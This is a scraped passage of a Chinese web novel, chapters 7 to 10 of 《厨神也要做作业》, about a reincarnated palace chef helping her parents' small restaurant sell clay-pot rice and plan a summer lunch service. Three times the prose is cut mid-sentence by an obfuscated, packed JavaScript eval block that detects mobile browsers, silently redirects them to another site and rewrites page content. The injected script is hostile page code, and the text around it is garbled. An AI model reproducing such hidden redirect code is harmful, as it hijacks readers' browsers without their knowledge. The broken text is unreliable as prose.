《厨神也要做作业[美食]》 7. 007 杨虹一眼不错的盯着温母手上的砂锅。 是这个了。 肯定就是这个。 香味把人撂了一跟头，杨虹的脑子和胃一起叫嚣起饥饿来。 温母按照顺序把第三份煲仔饭放在杨虹面前，解释道：“店里砂锅不多，这个是从大砂锅转到小锅里的。” 这话也是照着温梵的嘱咐讲的，一想到自己刚才被香味勾进厨房，女儿就跟她说这次没做太好，因为店里餐具有限，又是中间才来说要卖出去三份，于是临时分了两锅出来。 温梵：“锅巴可能不够脆。” 杨虹眼里只有那金灿灿的煲仔饭，哪儿还会听温母的话？ 她的耐心都被这锅饭给吸引走了！ 将拌饭的酱汁倒进去，勺子这么一搅，直接来上一大口。米饭的油润，配上腊肠咸香甜润的口感，以及似有若无的豉油香味，杨虹吃的头也不抬。 再看店里其他两位同样点了煲仔饭的客人，也是如出一辙的闷头大吃。 有客人咽了咽吐沫，问温母还能不能再点一份煲仔饭。 温母略带歉意：“不好意思，店里没有了。” 那腊肠还是闺女自己买的，就买了三根，勉勉强强做了六份饭出来。 “那晚上还有没？” 温梵掀起后厨的门帘子：“晚上有排骨饭。” “我订一份！” “……那我也提前订两份吧。” “老温，我订两份，晚上叫我店里伙计来拿。” …… 温母没急着答应，而是把闺女拉到一旁。 “你怎么还先应承了呢？你哪里忙的过来！” 温母仍旧是没转变好心态，只觉得读书是顶顶要紧的事。 “就算不去补习班了，你也该趁着这个暑假好好看书，店里的事有我跟你爸呢！” 温梵抱着母亲的手臂：“没事，煲仔饭做着没那么麻烦。” “那也不行！” 温母心疼道：“后厨多热，连个空调都没有，你每天这样忙，再给忙坏了！” 温梵还要说什么，温母已经下定了决心。 “你有心帮我们的忙，可我跟你爸没那个魄力叫你受累。店里的事你别管了，下午好好回家去看书。” 母女俩的声音不算小，最起码离柜台最近的杨虹就听到了。 杨虹本来想跟温母说自己订四份，她打算找个跑腿外卖送到自己的牌场上去，好好让昨天笑话她没吃过好的牌友见识见识。 可这么一听，杨虹才发现自己好像误解了什么大事。 原来那碗炒饭，竟然不是温父做的！ 怪不得，怪不得中午的炒饭跟早上的那么不一样。 又听到温母说什么后厨没空调不让女儿再做饭了，杨虹顿时急了。 “哎，不就是空调么？我给你们装一个！” 杨虹挤出一个笑脸，生平第一次这么态度和煦。 “大妹子，你看你早说啊，这后厨确实热，你心疼孩子我也理解。你看这样成不？我出钱，给咱后厨这边配一台。你放心，这个钱绝对不叫你们出！” 她房子多，跟买卖二手家具的也熟，均一台空调出来根本不麻烦。 温母人都懵了，这又是哪儿跟哪儿。 “杨姐，我不是那个意思……” 她可没指着叫房东配空调。 杨虹：“就这么说定了，大妹子，孩子有心给你们帮帮忙，这是好事啊。小梵是吧？一看这就是个文静孝顺的好姑娘！你放心，有啥条件上的要求跟阿姨说，阿姨就喜欢你这样的小孩……” 温母已经傻眼，温梵却偷偷笑了。 厨房里，温父用饭勺撬起锅巴，顾不上用筷子，上手捏了一块带着米饭的锅巴嚼了嚼。 金黄酥脆的锅巴刚刚咬下就发出清脆的的响声，焦香弥漫，锅底一层薄油收的刚刚好，锅巴焦脆不显油腻，那碗被温梵调试了好几次的酱汁更是顺着米饭渗透到米饭的最底层，让锅巴粘上的米粒也多了几分咸香微甜的滋味。 这味道让温父自豪之余多了一层挫败。 自豪女儿天赋异禀，挫败则是觉得自己学厨多年，结果还不如女儿一碗煲仔饭。 温梵脚步轻快进了后厨，一眼看清了温父的失落。 “爸，下午你帮我吧？” 温梵不是样样都要亲力亲为的人，尤其是曾经在御膳房，如果事事都自己来，那就算是给她累死也坐不稳御膳房一把手的位置。 所以知人善任很重要。 温梵尝过温父的手艺，对温父的评价并不差。 温父的刀工不错，调味差了一点，火候掌控更是一般。联系到温父曾经学艺的途径，温梵就很明白了。 老手艺人们不管是在哪朝哪代都是如此。 教菜不教卤，教卤死师傅。 白案师傅有“面魂”，红案师傅藏“炒金”。 传方不传量，传量不传火。 …… 温父的刀工是一日一日练出来的，可要是没人实心教，调味火候的秘诀法门是找也找不到，只能混迹在小餐馆里。 温梵：“排骨饭很好做的，不过我手劲小，做不了太多。” 原主的身子跟她原来的身体素质差距太大，以前温梵能轻易的拎起半扇猪，庖丁解牛一般一个人把猪肉处理完，可现在她做不到了。原主是个在体育课上跑六百米都要气喘吁吁眼前发黑的体质，温梵只能慢慢把体质养起来。 温父看着女儿的小身板，勇气突然鼓进了胸腔：“好！你说，爸来做！” **** 温父顶着大太阳跑了一趟菜市场，买回来几十斤排骨。 温梵还是照旧在店里背书，温母不知道从谁家店里借来了一张折叠床。 “你要是不回去，就在店里睡一会儿。我在网上已经买了一张新的，等明天就到了。” 以往夫妻两个谁也不舍得买折叠床，可现在女儿常驻在店里了，温母立时就下了单。 温母还在唠唠叨叨：“就只有暑假这样，开学之后你可得好好上学，我跟你爸不图你将来挣大钱，就想你轻轻松松坐办公室，风吹不着雨淋不着的……” 温梵把温母的话左耳朵进右耳朵出，她实在是不觉得做饭有什么为难。 她又不是样样自己做！以前在宫里也是如此，她动口比动手多，除了一些关键的料汁酱酒，其他都是指使旁人做。 现代社会如此方便，没道理她会更忙。读书的间隙做做菜，对温梵来说，这更像是一种放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16189265|181051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松了。 温父晒的皮肤通红，进门先灌了两杯水，然后兴致勃勃道：“正好碰上有一家新上的排骨，小梵你来看看。” 温梵凑过去，不是特别满意。 猪肉虽然够新鲜，但是比起曾经在皇庄养殖的猪肉，还是差上好大一段距离。 不过她也晓得这不是温父的原因。 毕竟那是皇庄，多少民脂民膏供养的皇室，猪都吃的精粮，比城外的百姓都过的好。 “可以。” 温梵放下书本，动手开始处理排骨。 她讲话不多，温父只能看到女儿一会儿放这个，一会儿放那个，问她为什么这么放，温梵就一句——“应该放”。 温父：…… 闺女做菜时候好像换了一个人，看起来眼神都凌厉许多。 温梵利索的腌上一份排骨，然后示意温父照着做。 “就刚才那样腌。” 温父：…… 他摸摸脸，觉得脸皮在烧。 “闺女，你要不……再做一遍？爸刚才没看清。” 温梵一脸奇怪：“这都很简单啊。” 她之所以选择煲仔饭来教，就是因为做这个简单，省去了炒菜的火候控制部分，只需要把肉腌好，米饭上锅注意下步骤就可以了。 就这，温父还不会？ 温梵忧心忡忡，觉得自己是不是该给温父下调下评价。 温父已经哭晕，闺女那一脸怀疑他的样子，好像是一个天才在看蠢材的经典眼神。 “闺女，你慢点，爸去找个笔。” 温父找了个店里算账的本子和笔，这次拿出了十二分的劲头跟着听。 好吧，温梵抿起嘴角，耐心讲解了第二遍。 “这下听懂了吧？” 温父已经有些呆滞：“应该……这个油适量，具体要放到什么样子？” 温梵唇角都要挂不住了：“就是适量，看着差不多能把调料覆盖就行了。” 温父还想问，但是看着女儿的样子，不太敢。 温梵让开地方：“爸，你来试试。” 温父满头大汗，把记下来的纸贴在一旁，严格按照步骤。 温梵：…… “盐多了！” “说了这个调料不能放少！” “油温不够！” …… 温梵气鼓鼓坐在柜台后。 温母觉得好笑，过来劝她：“你爸就是没反应过来。” 温梵不说话，觉得怎么自己好不容易准备好好教个人，怎么进度还这么慢！ 要知道她以前在御膳房，她已经认为自己收的那几个小徒弟够笨的了，怎么父亲还不如那些人！ 温母给闺女拧开一瓶可乐，然后给她擦擦汗：“那怎么办？你爸就是脑子有点笨，不行你使唤他给你打下手？” 温梵就着母亲的手喝了一口可乐：“唉。” 这声叹息听的温母想笑。 温梵喝完了可乐，又去厨房“磋磨”父亲了。 整整一个下午，温父都被女儿凶凶的眼神盯着，人都皱皱巴巴的。 好在排骨饭的效果不错，当晚不光是提前订出去的那些光受好评，连店里的外卖平台都爆了单，破天荒卖出去了七份！ 8. 008 夜幕降临，同一时间，在同一条街上的“兴兴美发店”里门可罗雀。 学徒周浩跟另一个学徒王磊盯着手机打游戏，头上的黄毛一翘一翘的。 王磊先挂掉，百无聊赖点了观战。 “喂，兴哥去哪儿去了？” 周浩正捡到一个大狙，跟几百米外的敌人互相瞄准，闻言头也不抬。 “买饭去了吧。” 王磊“哦”了一声，店里就他们三个，他跟周浩都是上完高一就不读的差生，这个岁数家里人也不放心把人丢去社会上，于是就找了同村在外开美发店的周兴来当学徒。 每个月拿个一千多块工钱，周兴在店后面给他俩准备了个高低床，包吃住。 周浩和王磊对现在的生活也基本满意，唯一不太理想的，就是三个人拼凑不出来一个厨艺好的。 周兴就不说了，这么些年一直一个人在外面，吃饭多半是买着吃。周浩和王磊虽然在乡下时候也做过饭，但那仅仅是下个面条煮个方便面，所以在将就了一段时间后，周兴认命的开始三餐都在外面买。 日子久了，这一条街都被三个人给吃遍了。 吃遍之后，周浩和王磊更倾向于点外卖，只有周兴一脸沧桑看着这两个年轻人，然后转头去找街面上的家常饭菜吃。 王磊和周浩又开了一把游戏，彼此终于感觉到了饥肠辘辘。 “兴哥咋还没回来？” 周浩揉揉头发：“要不我出去随便买点？他说不定又跟哪家的老板娘聊起来了。” 正说着，只听到门后挂的风铃叮铃铃一阵响，周兴兴致勃勃拎着三个饭盒进来。 “臭小子，我可听见了。” “我可是给你们谋福利去了。” 周兴把外卖饭盒放在桌子上：“看看，你哥给你们买了什么好吃的。” 周浩打眼一看，脑门上就全是问号。 “哥，这就是盖浇饭啊。” 瞅着也没什么特别的。 倒是王浩眼尖：“煲仔饭啦。” 那金黄色的锅巴垫在塑料盒底部，不细看还看不出来。 周浩嘟嘟囔囔：“我不爱吃米……” 他从小就喜欢吃面食，米饭这种东西，他总觉得吃不饱。 周兴呵呵一笑：“行啊，那你这份我们俩分了。” 说着把自己手机递给他：“你再点份面。” 周浩有些嘀咕，但也没多想，接过手机就开始滑动外卖页面。 周兴乐得能多吃半份。 “小磊，开吃吧咱俩！” 随着一次性饭盒的盖子被揭开，一股浓烈的香味窜了出来。 这香味瞬间征服了饭桌前的三个人，定睛一看，饭盒里的排骨泛着油光，玉米青豆颜色鲜亮，送出来的时候似乎已经浇上了料汁，米饭带着酱色，散发出一股让人不能拒绝的味道。 周兴陶醉的猛吸一大口！ 就是这个味！ 虽然跟中午不是同一样的，但这个香味瞬间霸占了他所有的感官！ 王磊已经默不作声开始掰筷子了。 周磊被这香味逼的没办法，手机也不刷了，期期艾艾的靠过来，没话找话：“兴哥，这饭谁家做的啊？这也太香了。” 眼角余光已经瞥见王磊刨了一大口，周磊多想回到一分钟之前。 让你嘴欠！ 说什么不爱吃米饭！ 周兴也急火火往嘴里塞了一大口，含糊不清道：“就老温家啊。” “不可能！”周浩直接否认。他又不是没吃过老温家的饭，做的也就是普通水平，哪里会这样香？ 可看着周兴和王磊埋头大吃的样子，周浩只觉得外卖页面上的所有东西都没了滋味。 就在他还在犹豫要不要甩开脸皮吃米饭算了的时候，王磊已经吃锅望盆，魔爪伸向那最后剩下的一盒饭。 “兴哥，我先拨一半……” “……喂喂喂，那一份是我的！” “你不是说你要吃面吗？” “……谁说的，我就吃米饭了，我爱吃米饭！” 三个人谁也不让步，突然，周浩一把夺过米饭，几个箭步冲向里屋。 “说了我爱吃米饭！” ***** 温母一个晚上都没闲下来。 外卖单子零零散散，十来分钟总能来一单，她一边忙着店里点单收银，还要时刻沟通在后厨的丈夫女儿。 “打包一份排骨饭！” “一份排骨饭，一份腌辣椒！” “一份排骨饭不要葱！” …… 温父从一开始的满头大汗，到后来已经麻木。 一晚上卖出去二十来份煲仔饭，店里却只有五只砂锅和三个灶头。 温父下午买排骨的时候还担心卖不完，可到了夜幕降临，他就忘了这茬了，只剩下机械的动作。锅底刷油，泡好的米放进去，小心控制火候让米饭滚开焖上三分钟，再把腌制好的排骨上锅，边缘放上玉米粒和青豆，沿着锅边淋油…… 温梵戴着厚厚的手套示范：“这样，确保四面都要过火，锅巴才能脆。” 一份煲仔饭现做，三十分钟才能出餐。 温梵占着一个灶头用大砂锅，一次能出三份。温父盯着两个小灶头，单人单锅慢慢出。 煲仔饭出的慢，店里的客人各个着急，却没有一个走的。除了中午光顾过的客人，还有按时到来要打包的杨虹。 杨虹本来订了四份外卖，但温母说可能做不过来，于是杨虹只能退而求其次要一份自己吃。 “大妹子，你们店里也该多点餐具嘛。” 后厨灶头少不说，连砂锅也少，温母一边要迎来送往，还要抽出时间去把刚收出来的砂锅洗了。 温母抹了一把汗：“明天就去买。” 今天中午也没想到晚上生意会这样好，二十多份饭下来，温母晚上忙的腰酸背疼，数钱却开心。 “卖出去二十四份，再加上中午卖的一百多……” 温母捏着计算器的手都紧了。 “六百一！” 温父也有些吃惊，他晚上只顾着在后厨了，根本没分心思出来，压根不知道今天生意居然这样好。 温母喉咙发干，光是今天一天，就顶上前几天生意不好的三天营业额了。 夫妻两个面面相觑，万万没想到店里还有生意这么好的一天。 温梵却捶了捶胳膊：“爸，妈，煲仔饭有点费时间，咱们明天换个样子吧？” 温父有些愣怔，他做生意不够灵光，人生信条就是勤奋致富，今天营业额这样好，女儿却说明天不卖了，他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16189266|181051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时竟也反应不过来。 倒是温母接受良好：“其实我早想说了，这样看着是挣的多，就是你俩太累。” 这煲仔饭不比别的，光是盯火这一项就够磨人了，还不如炖个牛肉排骨啥的，最起码不用一直在后厨挨热。 温父有些踟蹰：“那等客人们明天来了再要煲仔饭……” 他老好人惯了，总觉得到时候人来了做不了，心里过不去。 温梵从冰箱里拿了一瓶可乐：“爸，你怕生意不好啊？” 温父有些不好意思，他想的是，自己虽然做的煲仔饭不如女儿，但现在也学到了七八分，后厨辛苦，那他就自己来。 总比原先生意不死不活的要好。 温梵喝了一口沁凉的饮料，有意无意道：“煲仔饭还能做，就是往后不能是这个价格了。” 单人单锅做，一次半小时，总要收个差不多的价钱，温梵才觉得不亏。 除此之外。 温梵突然没头没脑的跟温母说起来自己今天去图书馆。 “那边小孩子可多了，家长都是在网上订餐，中午送去图书馆那边……” “我觉得咱们家店之前的思路就挺好，翻台快，还能提前准备。” “菜码明天我来做，我爸就只用做煲仔饭就行了。” …… 温母比温父的脑子快，立刻捕捉到女儿话中的关键。 “你说图书馆很多孩子都在那儿吃午饭？” 温梵轻轻点头。 温母半晌没说话。 温父一头雾水：“你们俩打什么哑谜呢？” 温梵懒怠搭理脑子不拐弯的温父，只等着温母说话。 片刻后，温母眼睛渐渐亮起来，仿佛什么浓雾在眼前散开，她已经找到了前进的方向。 “老温，你明天带着闺女去菜市场，多准备点菜……店里你收拾吧，我出去有点事！” 温母像是一阵风刮了出去。 温父懵懵懂懂的问女儿：“你妈干嘛去了？” 温梵伸个懒腰：“不知道……我饿了。” 温父瞬间就转移了话题：“好好好，你想吃什么？” 温梵抬抬下巴：“累，胳膊疼。” 温父心疼不已：“那爸爸给你做点好消化的？” 温梵懒懒的道：“就煮点粥吧，用砂锅煮，再把剩的排骨蒸一蒸。” “光吃这个怎么行！后厨还有虾……白灼吧？” 温梵嗯了一声。 晚饭就着熬的浓稠的米粥，配上蒸排骨和白灼虾，温梵浅浅吃了一小碗就放下。 她已经习惯了曾经宫中的生活，如果说过往的奴仆生涯给她留下的最鲜明印记，那无外乎就是饮食上的习惯。 为了防着晚上突然主子有吩咐，温梵晚上不敢睡踏实，饮食上也讲究不能多吃，一顿饭少少的几样菜，天长日久不按三餐定时，温梵已经养成了晚上不吃或者少吃的习惯。 两人简单收拾了店里就回了家。 温母披星戴月回家的时候，已经到了晚上十二点多。 温父目瞪口呆看着温母把一沓子名片甩在床头。 只见简单的白色名片卡上，是这么几行字。 【暑期小饭桌——三公里内免费配送，次日餐点提前发送。干净卫生，健康好吃。】 9. 009 温父惊讶出声：“你是想把名片发到图书馆去？” 温母挺着胸膛：“那边小孩那么多，家长也未必放心天天在外面吃外卖，我都想好了，咱们不图个长久生意，就做一个暑假。” 温母拿出计算器七七八八一通按：“咱们也不卖贵，一份餐十二包配送，明天我去买点质量好的一次性饭盒，两荤两素，提前建个群，次日什么餐发群里……” 温父看着越说越上头的温母，结结巴巴道：“这样……能行？” 温母：“怎么不能行！” 要是放在以前，她可能会有点打怵，可是女儿的手艺，只要吃过的人谁会说不好？ 唯一难点就是家长可能不够信任，这没关系，只要有第一个客人，温母就有信心打开局面。 “明天上午，我就去图书馆发名片！” …… 次日一大早，温母就换上一身干净衣服，提前对着镜子练习了几次笑容。别看她嘴上说的欢，其实心里还是有点不确定的。 可温母又直觉到，这一次机会是女儿送给她的，甚至于昨晚上辗转反侧，温母想起女儿突然说起图书馆，未必不是在点她。 温母心想，自己也该给孩子做个榜样。 女儿懂事体贴，做父母的哪儿能一味的光被孩子拽着走？这不成了拖后腿的了吗？ 温母给自己加油打气，甭管如何，今天只要拿下第一个顾客，就是胜利！ 早饭是温父做的疙瘩汤，温母吃了满满一大碗，这才雄赳赳气昂昂的出发。 温梵吃了一小碗，脑子里还不停琢磨这份汤里应该再放点什么改进口味。 吃完饭，温父蹬上三轮车带温梵去菜市场。 温梵之前去过早市，可等到来了大菜市场，她才发现自己曾经去过的早市简直太小了。 现代社会规模化种植，以及工业反哺农业的成果在眼前铺开，温梵看着面前小山一般的各色蔬菜，眼睛都直了。 温父把三轮车停在路边，笑道：“这地方大吧？刚开始我跟你妈来，还好几次差点迷路呢。” 作为整个城市的最大菜市场，这里不光是有卖蔬果的，还有专门两栋楼是卖冻品的。 温父带着温梵走过一众叫卖的小贩，指着前面一排排蓝色的大货车。 “那边才是真正便宜的。” 大货车上挂着的牌子，无一例外都是便宜到极点。 “小青菜一毛一斤”“豆角五毛一斤”“茄子三毛一斤”…… 温梵早先对这个社会的价值有过一次对换，她觉得按照现在的汇率，大概一两银子会等于两千块钱的购买力。可看到这堆积如山的蔬菜水果，她又觉得换算的不对。 太便宜了！ 温梵曾经的职业病发作，指着一台车子上的所有茄子，就差说一句“全拿下”了。 好在温父把人拉到一旁：“咱们买不了那么多。” 这种大车来的蔬菜，虽然够便宜，但人家也不会单卖，大多都是几个小贩商量好了分一车。 温父带着女儿七拐八绕，找到了小贩们的聚集地，这边就多是小型货车了。 温梵挑了挑品质，最后让温父买了一大兜的茄子，几把长长的豆角，另有几样蘑菇青菜。 买完了菜又挑肉，温父没有像其他人一样选择冻品肉，而是带着女儿到了专门卖肉的摊位。 温梵指挥着温父买了十来斤五花肉，又挑了一只猪蹄。 “中午咱们自己吃。” 厨子分两类，一类是本职工作做的够够的，下了班就甭想让他再做一点有关于厨房的活。另一类是本来就喜欢做菜，哪怕是累的要死，也喜欢给自己换换胃口。 偏偏温梵是后者，再一琢磨这些天自己基本都是将就着吃饭，温梵顿时决定中午自家人炖点好料。 小三轮装的满满的，温梵坐在小马扎上，被蔬菜的塑料袋子淹没。 她倒是不觉得辛苦或者丢人，索性早上空气凉爽，她从兜里掏出来单词本。 背背背。 温梵已经能预想到开学之后自己的成绩不够好看，要知道自己所在的学校虽然是私立，但是对学习成绩也是很看重的。 这种学校能来读书的就是两类人，一类是花钱买进来的，一类就是成绩不错，学校会对学费进行一定程度的减免，但是这种减免只会在高一，如果高二成绩下滑，那就会被分去普通班，自然学费也是照着普通班的学费出。 温梵有些担心，文科类的题目她还能自学，但理科呢？ 一想到数学书本上那些天书一般的字母，温梵就觉得头疼欲裂。 温父听着女儿在后面背书，连车子都不敢蹬快了。 他闷头骑车，心里想，还是要挣钱，最起码…… 起码要有一台车吧。 …… 温母发完名片，又紧赶慢赶去买了点饭盒和一次性筷子，再找到一个相熟的店铺，照着店里的砂锅样子买了二十个。 等到回店里时候，温母已经接到了两个好友申请。 对方一个备注“子涵妈妈”，一个备注“壮壮姥姥”。 温母赶紧同意，简单沟通之后，温母冲进后厨。 “我拍个照！” 能选择订餐的家长自然最关注就是卫生问题，温母里里外外把自家的锅台灶具拍了个遍，又发去了自己的店铺地址和门头。 最终，子涵妈妈发来了一个十二块红包，附带一条语音。 “好的，麻烦中午把餐品送到图书馆二楼的拐角处，到时候我会让孩子出去取。” 而另一位的壮壮姥姥就没有这么顺利了。 这位老人停了好一会儿没说话，后来发来了一条六十秒的语音。 温母点开，眉头逐渐皱了起来。 这位老人话里话外都是挑刺，一会儿说店面太小，一会儿又说要看看今天的菜色，最后更是提出要每天把店里的蔬菜的检测报告发给她看。 “这都是孩子吃的东西啊，我们就一个宝贝，谁知道你们做的卫生不卫生。” 温母叹气回复：“您的担心我们能理解，但是检测报告实在是没办法提供。” 对方似乎是不高兴，又发来了一段长语音，这次温母听懂了，对方说自己跟孩子的家长商量了，说是要考察考察他们。 “今天的餐就送到一楼的阅览室，我们让孩子吃吃看。” 绝口不提转餐费。 温母都给气笑了，直接不搭理她。 “反正今天有一份了。” 只要有一份，温母就觉得今天没白忙活。 上午的处理食材温梵就不插手了，她抱着自己的书坐在门口的桌子上，先做作业后背书，数学实在不会，她就回家去找到曾经的初中课本。 这下终于有了点曙光，初中的数学她还勉强能看懂。 温梵就这样一边看书一边听着温父温母忙来忙去。 在刚开始的短暂适应后，温梵觉得在店里也不错。 房东杨虹上午已经紧赶慢赶送来了空调，后厨原本就预留的有空调口，简单十分钟就装好了。 温梵看会书，累了起来伸伸胳膊腿，想换脑子了就去后厨看看，渴了还能从冰箱里随时拿饮料…… “小梵！你一上午喝了多少瓶可乐了！” 温母忙活一大圈，突然发现冰箱里早上刚放进去的十瓶可乐只剩下了七瓶。 再看女儿无比自然的走到冰箱前，拉开冰箱门就冲可乐去。 再一想…… 这丫头好像只要不在忙，就是在喝可乐，要么就是在喝橙汁。 温梵有点心虚的把手上的瓶子往后藏：“没有啊。” 温母走过去抖擞一下书包，啪嗒。 两个空瓶子掉了出来。 温梵：…… 等到温父喊女儿去后厨炒菜，温父这才发现女儿蔫巴巴的。 “怎么了这是？” 温梵有气无力，话都不想说。 温母：“别理她，这么大的人了，还跟小孩子一样爱喝可乐。” 一上午喝三瓶，昨天没注意她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16189267|181051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还不知道喝了多少！ 这么喝下去，连牙都不想要了！ 温梵可怜兮兮的看了温母一眼，看温母实在铁面，只能又默默去做菜。 温父心疼道：“她喜欢喝就喝一点嘛，这么热的天……” 温母一个眼神给他瞪回去。 温梵：……好废物的爸爸。 再抬头，看到凶凶的妈妈，露出一个甜甜的讨好的笑。 …… 大概是中午只有一份餐，温梵也就不折腾了，自家吃什么盛出来一份就算是送给那个在图书馆的小孩子了。 新鲜的猪五花片成薄片，锅底留了一层底油，把猪五花煎出油来，豆角切成一指长，用猪油煎到表皮发皱，然后放入切成长条的茄子，各色调料翻炒均匀，临出锅时候放一勺熟油，香喷喷的，颜色还鲜亮。 猪蹄斩成小块，去腥之后炒糖色，一把香料炒到猪蹄再没那股腥臊气味，再在锅里放上热水，大火转小火，炖煮到一个小时，掀开砂锅盖子放些花生黄豆，小火慢炖出猪蹄的香味，这种纯肉的霸道香味又跟昨天的煲仔饭不同，很难有人能抵抗住这样的浓香。 可今天就只买了一只猪蹄，所以温母只能在前面辛苦的跟所有人解释。 “不卖的，自家吃的。” “不是钱的事。” 等到猪蹄炖的皮酥肉烂，温梵又快手快脚炒了两个素菜，往饭盒里一放。 “好了！” 温母紧赶慢赶骑上电动车，把餐送到图书馆去。 客人们看温母走了，失望之余又开始选择煲仔饭。 “排骨饭一份。” 温梵状似不好意思的指指墙上。 昨天连吃两顿的客人不明所以，等到看到墙上新贴上去的菜单，人默默了。 只见墙上赫然贴着【煲仔饭——二十五一份】。 涨价了。 可吃还是不吃，仿佛不是个很难抉择的问题。 温梵小声解释：“我爸爸做的很辛苦的。” 煲仔饭这东西，一次出好几锅，温父现在还没那个手艺，单人单锅，这样耗时间，所以贵一点温梵可不觉得有什么。 客人一咬牙：“来一份！” 这个客人之后，陆陆续续有客人进来了。 不过不同的是，温梵坐在柜台后，再来客人她就不推荐煲仔饭了。 “做不过来。” 温父满打满算一个小时做四份，一中午也就是八份。 好不容易鼓足勇气出门来吃饭的吴娜哀嚎道：“不要啊。” 她是温家饭馆的小咸菜的忠实客户，昨天看到店里上了煲仔饭，于是她眼疾手快下了一份订单。 这一吃，她又洋洋洒洒在外卖平台上给出了长长的好评。 唯一美中不足的，是煲仔饭的锅巴在外卖盒里捂的发软，于是她今天做足了心理准备，这才顶着大太阳到店里来吃。 可店家竟然说不能做！ 吴娜整个人都灰了。 温梵对她还有印象，自己第一天在店里守着的时候，就是这个女孩进来问有没有凉皮。 她笑着道：“今天有肉末茄子哦，还有辣椒炒肉。” 这种菜都是快手菜，温梵只花了短短半小时就做好了菜码，店里依旧延续了之前的做法，米饭和面条二选一。 吴娜丧气道：“那就肉末茄子盖浇饭吧。” 痛失煲仔饭，吴娜觉得自己今天出门没看黄历。 温梵应了一声，很快就端着一盘盖浇饭，轻轻放在吴娜面前。 “慢用。” 只见酱色的茄子中均匀分布着细细密密的肉末，油亮诱人的菜码盖在米饭上，米饭被染上了茄子的酱色，浓稠的酱汁不仅包裹着茄子，更在逐步扩大自己的领地，一点翠绿的葱花点缀其上，不管是色泽还是香味，就差把“下饭”两个字写在盘子里。 吴娜把筷子放一边，大勺子按下去，满满一勺米饭混合着茄子肉末，香的叫她几乎要落泪。 妈妈，我吃到了我的人生盖浇饭。 10. 010 肉末茄子成功俘获了吴娜的芳心，她瞬间又爱上了这种吃起来黏黏糊糊的盖浇饭。 这里面的肉末不知道怎么炒的，在茄子软糯的口感下，仍然保留了一分松酥，稍微大颗的肉末搭配上软趴趴一搅和就没了形状的茄子，看着稀里糊涂，实际上好吃的不得了。 吴娜连自己最钟爱的腌辣椒都顾不上吃了，只一口一口的往嘴里填，好像胃成了一个填不满的洞。 等到光盘，吴娜才反应过来自己竟然吃掉了这么大一盘米饭！ 要知道在店里吃，一般都会比外卖稍微多出一点分量，那一大盘子盖浇饭，要是放在以前，吴娜不说剩下半盘子，也至少要剩下三分之一。 可今天她不光全吃完了，在胃里顶出几个饱嗝后，她竟然还想吃！ 肚子饱了眼还馋，目光扎进温梵手上端给别人的盖浇饭，拔都拔不出来。 “老板，打包一份……辣椒炒肉盖浇饭！” 吴娜心想，这么好吃的饭，也该送去给母后大人尝试一下。 正好自己也能尝几口新味道。 温梵利索应了一声，给吴娜打包好，顺手就塞了一瓶饮料进去。 “老板，我没要饮料。” 温梵笑道：“送你的，我妈妈说外卖平台上有一个长好评，是你吧？” 她递出袋子：“谢谢光临哦。” 吴娜被眼前的小妹妹笑的晃眼，心里是大大的满足。 “好说好说，对了，我看你年纪不大，现在是读大学还是上高中？” 温梵指指柜台后面摊开的英语单词本：“高中，姐姐你是大学生吧？” 吴娜挺起胸膛：“我大二了，在首都师范大学。” 温梵肃然起敬：“那你学习一定很好。” 吴娜乐道：“都是熬出来的，你坚持两年，大学就轻松了。” 温梵低着眉：“我还不知道能不能考上。” 吴娜眼中尽是过来人的沧桑，拍拍温梵的肩膀：“年轻人，一时的困难而已，熬过去就好了……你哪科差？我给你支支招？” 温梵等的就是这句话，立刻跟吴娜诉起苦来。 数学基础差，英语看不懂语法，物理理解不了，化学…… 吴娜虽然早把高中知识忘了个七七八八，但都是从那时候卷出来的，自然也有一些学习的窍门。 “你就照着我说的做！记住，量大出奇迹，题海见真章！只要卷不死，就往死里卷！” ***** 图书馆。 伴随着图书馆大堂的指针指向十一点，门外的小摊就陆陆续续出现了。街边的树木林荫下，一排餐车像是等待检阅的队伍，一个个摆开阵势。 肉夹馍，菜煎饼，凉皮，米线，麻辣烫这样的小摊子前，多是二十左右的年轻人，点了吃的，再去自动贩卖机买上一瓶冰饮料，虽然是盛夏，但坐在树荫下面，竟然也有一丝丝风吹过。惬意的吃完饭，再溜达到附近买杯奶茶，接着投入下午的学习。 不过这样热的天气，更多的人是不会选择走出图书馆的。 在手机上点点外卖，图书馆虽然不让在座位上吃东西，但宽阔的大厅中不乏有人席地而坐，吹着空调吃外卖，总比大中午出去挨晒好。 因此图书馆门口多了一道风景线，各色工服的骑手们汇聚在一起，匆匆把外卖递给客人或者是放在门口的货架上，然后又急忙去赶下一单。 家长们把孩子送到图书馆，这图书馆又不是很大，孩子们几个馆来回窜，很快就跟小伙伴们搭上线。 